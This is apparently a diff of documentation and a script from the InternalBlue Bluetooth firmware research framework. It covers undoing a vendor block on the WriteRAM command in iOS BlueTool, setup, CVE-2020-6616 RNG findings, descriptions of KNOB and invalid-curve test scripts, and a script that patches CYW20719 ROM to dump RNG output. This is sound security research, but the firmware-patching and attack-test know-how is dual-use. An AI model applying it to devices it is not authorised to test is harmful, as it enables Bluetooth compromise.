The patch we want to undo looks like this:
|
||||
```
|
||||
ROM:00146176 4C 2D CMP R5, #0x4C ; 'L' ; fc4c: VSC_Write_RAM -> Block this
|
||||
ROM:00146178
|
||||
ROM:00146178 loc_146178 ; CODE XREF: bthci_cmd_HandleCommand+B0↓j
|
||||
ROM:00146178 ; bthci_cmd_HandleCommand+B4↓j
|
||||
ROM:00146178 08 D0 BEQ loc_14618C
|
||||
ROM:0014617A 08 DC BGT loc_14618E
|
||||
ROM:0014617C 0A 2D CMP R5, #0xA ; fc0a: VSC_Super_Peek_Poke
|
||||
```
|
||||
|
||||
We can simply replace the `0x4c`, which is the WriteRAM command, with `0x42`, which is not used.
|
||||
Note that `BlueTool` contains multiple copies of these `.hcd` files and you should replace all of them.
|
||||
The accordingly modified `BlueTool` needs to be copied to `/usr/sbin/BlueTool` and `/usr/sbin/BlueTool.sbin`.
|
||||
To get Bluetooth working properly again after replacing `BlueTool`, the iPhone needs to be rebooted.
|
||||
|
||||
|
||||
**Bluetooth will only work while the device is jailbroken with a modified BlueTool version!
|
||||
Use at your own risk and make a backup of the original.** Without jailbreak, the integrity check
|
||||
for `BlueTool` seems to fail and Bluetooth is constantly restarting.
|
||||
|
||||
[BlueTool for iOS 13.6 on an iPhone 8](../ios/BlueTool_iPhone8_iOS13.6), might also work on other <A12 devices.
|
||||
@@ -0,0 +1,86 @@
|
||||
macOS Setup
|
||||
-----------
|
||||
|
||||
### 1. Prerequisites
|
||||
|
||||
*InternalBlue* runs as regular user, no administrator access is required.
|
||||
|
||||
Install `homebrew` (see https://brew.sh/) and then use it to install `git` and `python3`.
|
||||
|
||||
If you want to use ARM assembly and disassembly, which is required for some patches and debugging, install[binutils](https://github.com/Gallopsled/pwntools-binutils).
|
||||
```
|
||||
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-arm.rb
|
||||
```
|
||||
|
||||
### 2. Installation
|
||||
|
||||
#### a) With Git
|
||||
Clone *InternalBlue* and install it. Preferrably in a new virtual environment.
|
||||
```
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install --editable ./
|
||||
pip install pyobjc
|
||||
```
|
||||
|
||||
Without `pyobjc`, you might get an error message that the `IOBluetoothExtended.framework` was not found even
|
||||
if the folder is correct.
|
||||
|
||||
#### b) Without Git
|
||||
Download *InternalBlue* and install it. Preferrably in a new virtual environment.
|
||||
```
|
||||
curl -LJO https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
unzip internalblue-master.zip
|
||||
cd internalblue-master
|
||||
|
||||
virtualenv -p python3 venv
|
||||
source venv/bin/activate
|
||||
pip install --editable ./
|
||||
pip install pyobjc
|
||||
```
|
||||
|
||||
### 3. Framework Setup
|
||||
|
||||
#### a) Precompiled
|
||||
On macOS High Sierra or older, you need to use a precompiled [IOBluetoothExtended.framework](../macos/IOBluetoothExtended.framework.zip) file.
|
||||
It only runs after installing the *Swift 5 Runtime Support Command Line Tools*, otherwise, the error
|
||||
message `Library not loaded: @rpath/libswiftCore.dylib` is shown.
|
||||
Use the following command to unzip the framework we provide.
|
||||
|
||||
```
|
||||
unzip macos/IOBluetoothExtended.framework.zip -d macos
|
||||
```
|
||||
|
||||
Depending on the installation location, if the `IOBluetoothExtended.framework` is still not found, you might need to
|
||||
adapt the path in `macoscore.py`.
|
||||
|
||||
|
||||
#### b) Compile yourself
|
||||
On macOS Mojave and newer, *Xcode 10.2.1* and up is supported. On these systems, you can build the
|
||||
framework yourself.
|
||||
|
||||
```
|
||||
open internalblue/macos/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
|
||||
```
|
||||
|
||||
⌘ + B
|
||||
|
||||
### 4. Startup
|
||||
Now, *InternalBlue* can be executed normally, like shown.
|
||||
```
|
||||
python3 -m internalblue.cli
|
||||
```
|
||||
You can also use the shortcut `internalblue`.
|
||||
|
||||
|
||||
### 5. Debugging
|
||||
|
||||
You can open `PacketLogger`, which is included in the `Additional Tools for Xcode`, to observe all Bluetooth packets.
|
||||
|
||||
If you do excessive IO such as dumping the ROM and get the message `Failure: creating socket: Too many open
|
||||
files`, you need to change the `ulimit`, i.e., `ulimit -n 1000`.
|
||||
|
||||
|
||||
@@ -0,0 +1,70 @@
|
||||
Publications
|
||||
------------
|
||||
|
||||
* **Master Thesis** (07/2018)
|
||||
|
||||
*InternalBlue* was initially developed and documented in the
|
||||
[Masterthesis](internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
|
||||
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
|
||||
|
||||
* **MRMCD Talk** (09/2018)
|
||||
|
||||
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
|
||||
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
|
||||
two demo usages at the end (Following a **Secure Simple Pairing procedure in
|
||||
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
|
||||
|
||||
|
||||
* **35C3 Talk** (12/2018)
|
||||
|
||||
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
|
||||
creating connections to non-discoverable devices. Moreover, we gave a **demo of
|
||||
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
|
||||
was also recorded and gives a more high level overview.
|
||||
|
||||
* **TROOPERS Talk** (03/2019)
|
||||
|
||||
* **WiSec Paper** (05/2019)
|
||||
|
||||
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
|
||||
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
|
||||
|
||||
* **MobiSys Paper** (06/2019)
|
||||
|
||||
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
|
||||
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
|
||||
|
||||
|
||||
* **REcon Talk** (06/2019)
|
||||
|
||||
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
|
||||
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
|
||||
|
||||
* **MRMCD Talk** (09/2019)
|
||||
|
||||
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
|
||||
within *InternalBlue* and the Patchram state of various devices.
|
||||
|
||||
* **36C3 Talk** (12/2019)
|
||||
|
||||
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
|
||||
points out a couple of new research directions and new Bluetooth projects coming up.
|
||||
|
||||
* **EWSN Paper & Demo** (02/2020)
|
||||
|
||||
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
|
||||
|
||||
* **CiderSecCon Talk** (03/2020)
|
||||
|
||||
TROOPERS was canceled, but we did a stream of a talk that was recorded on [YouTube](https://www.youtube.com/watch?v=Nx2ZDLaJ1-0&t=4920).
|
||||
|
||||
* **Easterhegg Talks** (04/2020)
|
||||
|
||||
Easterhegg was canceled, but we streamed via DiVOC. The recordings for the talks about
|
||||
[Random Number Generators](https://media.ccc.de/v/DiVOC-6-finding_eastereggs_in_broadcom_s_bluetooth_random_number_generator)
|
||||
and [Frankenstein](https://media.ccc.de/v/DiVOC-7-no_poc_no_fix_a_sad_story_about_bluetooth_security) are online.
|
||||
|
||||
* **WiSec Paper** (07/2020)
|
||||
|
||||
We looked into Apple's Bluetooth ecosystem, especially MagicPairing, which secures AirPods.
|
||||
For more details, read our paper [MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
|
||||
+72
@@ -0,0 +1,72 @@
|
||||
HRNG and PRNG Details (CVE-2020-6616)
|
||||
-------------------------------------
|
||||
|
||||
This is a joint work of @naehrdine, @matedealer, and @fxrh.
|
||||
|
||||
|
||||
We collected at least 1GB of data from the following devices and all of them passed the
|
||||
*Dieharder* tests.
|
||||
|
||||
Chip | Device | Samples | Dieharder
|
||||
-----------| ----------------- | ---------- | -----------
|
||||
BCM4335C0 | Google Nexus 5 | 2.7GB | Passed
|
||||
BCM43430A1 | Raspberry Pi 3/Zero W | 1.3GB | Passed
|
||||
BCM4345B0 | iPhone 6 | 1.8GB | Passed
|
||||
BCM4355C0 | iPhone 7 | 1.0GB | Passed
|
||||
BCM4345C0 | Raspberry Pi 3+/4 | 1.4GB | Passed
|
||||
BCM4358A3 | Samsung Galaxy S6, Nexus 6P | 2.1GB | Passed
|
||||
CYW20719B1 | Evaluation board | 1.4GB | Passed
|
||||
CYW20735B1 | Evaluation board | 1.6GB | Passed
|
||||
CYW20819A1 | Evaluation board | 1.2GB | Passed
|
||||
|
||||
|
||||
The chip in the *iMac Late 2009* is very slow and memory-limited, thus, we only
|
||||
checked if the HRNG is present. The same is the case for the *Samsung Galaxy S10*
|
||||
and *S20* chip, as it has a few more security features that make runtime analysis
|
||||
harder. On the *iPhone 11*, we currently only have `BlueTool` support, which also
|
||||
limits our analysis capabilities.
|
||||
We assume that the presence of a HRNG is sufficient, because all devices on that
|
||||
we were able to perform measurements had good results.
|
||||
|
||||
Chip | Device | HRNG present
|
||||
-----------| ----------------- | -----------
|
||||
BCM2046A2 | iMac Late 2009 | Yes
|
||||
BCM20703A1 | MacBook Pro early 2015 | Yes
|
||||
BCM4375B1 | Samsung Galaxy S10/S20 | Yes
|
||||
BCM4347B1 | iPhone 8/X/XR | Yes
|
||||
BCM4378B1 | iPhone 11 | Yes
|
||||
|
||||
|
||||
We found that the firmware of the *Samsung Galaxy S8* does not even reference the HRNG.
|
||||
Also, we were not able to access the HRNG using known register locations. Each time we
|
||||
triggered a RNG-related action such as pairing, a breakpoint we set within the PRNG
|
||||
function was triggered. Since this issue
|
||||
was already visible inside the firmware without performing measurements on the hardware itself,
|
||||
we checked all firmware dumps we had. Overall, we identified five different implementation
|
||||
variants. Those that are not included in the lists above might still have HRNG issues, but
|
||||
it is way more unlikely. However, *Broadcom* and *Cypress* produced even more chips than
|
||||
listed here, and they might be missing a HRNG similar to the *Samsung Galaxy S8*.
|
||||
|
||||
|
||||
Chip | Device | Build Date | RNG Variant | HRNG Location | PRNG | Cache
|
||||
----------|-----------------|------------|-------------|---------------|------|------
|
||||
BCM2046A2 | iMac Late 2009 | 2007 | 1 | 0xE9A00, 3 regs | Minimal (inline) | No
|
||||
BCM2070B0 | MacBook 2011 | Jul 9 2008 | 1 | 0xE9A00, 3 regs | Minimal (inline) | No
|
||||
BCM20702A1 | Asus USB Dongle | Feb (?) 2010 | 1 | 0xEA204, 3 regs | Minimal (inline) | No
|
||||
BCM4335C0 | Google Nexus 5 | Dec 11 2012 | 2 | 0x314004, 3 regs | Yes (inline) | No
|
||||
BCM4345B0 | iPhone 6 | Jul 15 2013 | 2 | 0x314004, 3 regs | Yes (inline) | No
|
||||
BCM20703A1 | MacBook Pro early 2015 | Dec 23 2013 | 2 (?) | 0x314004, 3 regs | (?) | No
|
||||
BCM43430A1 | Raspberry Pi 3/Zero W | Jun 2 2014 | 2 | 0x352600, 3 regs | Yes (inline) | No
|
||||
BCM4345C0 | Raspberry Pi 3+/4 | Aug 19 2014 | 2 | 0x314004, 3 regs | Yes (inline) | No
|
||||
BCM4358A3 | Samsung Galaxy S6, Nexus 6P | Oct 23 2014 | 2 | 0x314004, 3 regs | Yes (inline) | No
|
||||
BCM4345C1 | iPhone SE | Jan 27 2015 | 2 | 0x314004, 3 regs | Yes (inline) | No
|
||||
BCM4364B0 | MacBook/iMac 2017-with2019 | Aug 21 2015 | 2 | 0x352600, 3 regs | Yes (inline) | No
|
||||
BCM4355C0 | iPhone 7 | Sep 14 2015 | 2 | 0x352600, 3 regs | Yes (inline) | No
|
||||
BCM20703A2 | MacBook/iMac 2016-2017 | Oct 22 2015 | 2 | 0x314004, 3 regs |Yes (inline) | No
|
||||
CYW20719B1 | Evaluation board | Jan 17 2017 | 2 | 0x352600, 3 regs | Yes (inline) | No
|
||||
CYW20735B1 | Evaluation board | Jan 18 2018 | 3 | 0x352600, 3 regs | Yes (`rbg_get_psrng`), 8 regs | Yes, breaks after 32 elements
|
||||
CYW20819A1 | Evaluation board | May 22 2018 | 3 | 0x352600, 3 regs | Yes (`rbg_get_psrng`), 5 regs | Yes, with minor fixes
|
||||
BCM4347B0 | Samsung Galaxy S8 | Jun 3 2016 | 4 | __None__ | Only option | No
|
||||
BCM4347B1 | iPhone 8/X/XR | Oct 11 2016 | 5 | 0x352600, 4 regs | None | Asynchronous 32x cache
|
||||
BCM4375B1 | Samsung Galaxy S10/Note 10/S20 | Apr 13 2018 | 5 | 0x352600, 4 regs | None | Asynchronous 32x cache
|
||||
BCM4378B1 | iPhone 11 | Oct 25 2018 | 5 | 0x602600, 4 regs | None| Asynchronous 32x cache
|
||||
+159
@@ -0,0 +1,159 @@
|
||||
|
||||
Recent Changes
|
||||
--------------
|
||||
* We upgraded from Python 2 to Python 3. If you wrote your own scripts, this might break them. In this case, use
|
||||
the [python2](https://github.com/seemoo-lab/internalblue/releases/tag/python2) release.
|
||||
|
||||
* We reworked the *iOS* implementation.
|
||||
|
||||
|
||||
Requirements
|
||||
------------
|
||||
|
||||
#### Android
|
||||
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android.md)
|
||||
* Android device connected via ADB
|
||||
* Best support is currently given for Nexus 5 / BCM4339
|
||||
* Optional: Patch for Android driver to support Broadcom H4 forwarding
|
||||
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
|
||||
|
||||
#### Linux
|
||||
* BlueZ, instructions see [here](linux_bluez.md)
|
||||
* Best support for Raspberry Pi 3/3+/4 and Cypress evaluation boards
|
||||
* For most commands: Privileged access
|
||||
|
||||
#### iOS
|
||||
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X,
|
||||
does not work on iPhones newer than XR, these devices have a Bluetooth chip connected via PCIe)
|
||||
* iOS 12 and 13 have been tested as of now
|
||||
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can
|
||||
be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
|
||||
* The [``internalblued`` daemon](ios.md) installed on the iOS device
|
||||
|
||||
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
|
||||
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
|
||||
|
||||
#### macOS
|
||||
* Homebrew
|
||||
* Xcode 10.2.1
|
||||
* Instructions see [here](macos.md)
|
||||
|
||||
Setup and Installation
|
||||
----------------------
|
||||
|
||||
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
|
||||
smartphone, __BlueZ__ sockets on Linux, the undocumented __IOBluetooth__ API on macOS, or the included __iOS Proxy__ on iOS.
|
||||
|
||||
For [Android](android.md) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
|
||||
enable USB debugging in the developer settings of Android.
|
||||
|
||||
If you have a jailbroken [iOS](ios.md) device, you need to install a proxy that locally connects
|
||||
to the Bluetooth device and forwards HCI commands and events.
|
||||
|
||||
On [Linux](linux_bluez.md) with *BlueZ*, everything should work out of the box, but
|
||||
you need to execute *InternalBlue* as root for most features.
|
||||
|
||||
The *InternalBlue* framework supports and requires Python 3.6 and above.
|
||||
|
||||
|
||||
### Install from PyPI
|
||||
|
||||
Currently there is no package published on PyPI for Python 3, this will happen in the near future.
|
||||
|
||||
|
||||
### Install as package from GitHub `master` or any other branch
|
||||
|
||||
```sh
|
||||
pip install https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
```
|
||||
|
||||
This will download the contents of current master as a zip archive and install them via `pip`.
|
||||
No local checkout of the git will exist.
|
||||
|
||||
If you want to update you need to run:
|
||||
|
||||
```sh
|
||||
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
```
|
||||
|
||||
### Development Install
|
||||
|
||||
If you except that you might want to read the code locally, debug it
|
||||
or possibly change it you should setup an editable install.
|
||||
|
||||
```sh
|
||||
git clone https://github.com/seemoo-lab/internalblue
|
||||
cd internalblue
|
||||
pip install --editable ./
|
||||
```
|
||||
Any changes to the python code in your git checkout will now be immediately reflected when importing `internalblue` or starting it from your shell.
|
||||
|
||||
You can now git pull, change branches or fork to submit your own branches:
|
||||
```sh
|
||||
git pull # Update current branch
|
||||
git checkout origin/$featurebranch # Test some feature or bugfix branch
|
||||
hub fork # requires https://github.com/cli/cli to be set up before
|
||||
git checkout -b $your_new_feature_branch
|
||||
```
|
||||
|
||||
### Dependencies
|
||||
|
||||
It will install the following dependencies:
|
||||
* `pwntools`
|
||||
|
||||
The `pwntools` module needs the `binutils` package for ARM 32-bit to be installed
|
||||
on the system. This has to be installed manually by using the packet manager
|
||||
of your Linux distribution:
|
||||
|
||||
# for Arch Linux
|
||||
sudo pacman -S arm-none-eabi-binutils
|
||||
|
||||
# for Ubuntu
|
||||
sudo apt install binutils-arm-linux-gnueabi
|
||||
|
||||
All steps on a plain *Ubuntu 18.04*:
|
||||
|
||||
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
|
||||
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
|
||||
|
||||
sudo apt-get install wireshark-dev wireshark cmake
|
||||
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
|
||||
cd h4bcm_wireshark_dissector
|
||||
mkdir build
|
||||
cd build
|
||||
cmake ..
|
||||
make
|
||||
make install
|
||||
|
||||
Packets required on a current (March 2020) *Raspbian*:
|
||||
|
||||
sudo apt-get --allow-releaseinfo-change update
|
||||
sudo apt-get install git python3-setuptools binutils-arm-none-eabi adb python3-pip python3-dev gcc libffi-dev
|
||||
|
||||
|
||||
|
||||
Usage
|
||||
-----
|
||||
|
||||
The CLI (Command Line Interface) of *InternalBlue* can be started by running:
|
||||
|
||||
python -m internalblue.cli
|
||||
|
||||
The setup.py installation will also place a shortcut to the CLI into the `$PATH`
|
||||
so that it can be started from a command line using:
|
||||
|
||||
internalblue
|
||||
|
||||
It should automatically connect to your Android phone through ADB or your local *Linux*
|
||||
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
|
||||
requests) and some commands require privileged users (i.e., establishing connections).
|
||||
Use the `help` command to display a list of available commands. A typical set of
|
||||
actions to check if everything is working properly would be:
|
||||
|
||||
wireshark start
|
||||
connect ff:ff:13:37:ab:cd
|
||||
sendlmp 01 -d 02
|
||||
|
||||
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
|
||||
because the leading two bytes are not required by Bluetooth communication, you
|
||||
can replace them with anything you want.
|
||||
@@ -1,48 +0,0 @@
|
||||
InternalBlue PoCs and Examples
|
||||
==============================
|
||||
|
||||
|
||||
KNOB Attack Test (CVE-2019-9506)
|
||||
--------------------------------
|
||||
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
|
||||
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
|
||||
Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
|
||||
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
|
||||
and [Samsung Galaxy S8](s8/KNOB_PoC.py).
|
||||
|
||||
|
||||
Invalid Curve Attack Test (CVE-2018-5383)
|
||||
-----------------------------------------
|
||||
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
|
||||
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
|
||||
|
||||
Available for the [Nexus 5](nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py).
|
||||
|
||||
LMP MAC Address Filter
|
||||
----------------------
|
||||
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
|
||||
|
||||
Available for the [Nexus 5](nexus5/LMP_MAC_Address_Filter.py).
|
||||
|
||||
NiNo Attack Test
|
||||
----------------
|
||||
Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
|
||||
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
|
||||
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
|
||||
active MITM attack.
|
||||
|
||||
Available for the [Nexus 5](nexus5/NiNo_PoC.py).
|
||||
|
||||
|
||||
Measurement of BLE Receive Statistics
|
||||
-------------------------------------
|
||||
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
|
||||
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
|
||||
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
|
||||
currently active channel map.
|
||||
|
||||
Available for the [Nexus 5](nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](s8/BLE_Reception_PoC.py) including a callback script,
|
||||
as well as for the [CYW20735 Evaluation board](eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](rpi3/BLE_Reception_PoC.py)
|
||||
and [3+/4](rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
|
||||
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
|
||||
with the full iOS stack, thus it is not pushed online here.
|
||||
Executable
+252
@@ -0,0 +1,252 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20719 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* BT only, no need to disable Wi-Fi.
|
||||
|
||||
* Launch_RAM also is broken on this one :D
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x222400 # we seem to have 0x3400 free bytes here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0xc00 # run this often (x5 bytes)
|
||||
# 0x900 seems to work
|
||||
FUN_RNG = 0x48AC8 # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
|
||||
mov r0, #0xFC4E // launch RAM command
|
||||
mov r1, 0 // event success
|
||||
bl 0x1A9D6 // bthci_event_SendCommandCompleteEventWithStatus
|
||||
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x352604
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: rbg_control_adr=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x352600
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x352608
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0x1AA28 // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x1A78C // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = 'hci0' #internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20719 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0x1AB218, and it points to launch_RAM+1.
|
||||
# Located by looking for bthci_cmd_vs_HandleLaunch_RAM+1 in the dump.
|
||||
if not internalblue.patchRom(0x1AB218, p32(ASM_LOCATION_RNG+1)): # function table entries are sub+1
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
# Disable functions that crash us when using the target memory region
|
||||
# here: bcs_taskDeactivate_blocking - similar behavior as in CYW20819
|
||||
patch = asm("bx lr; bx lr", vma=0xD2DEC) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0xD2DEC, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
pos = 0
|
||||
failed = False
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
if failed:
|
||||
continue
|
||||
|
||||
# no errors, save data
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
|
||||
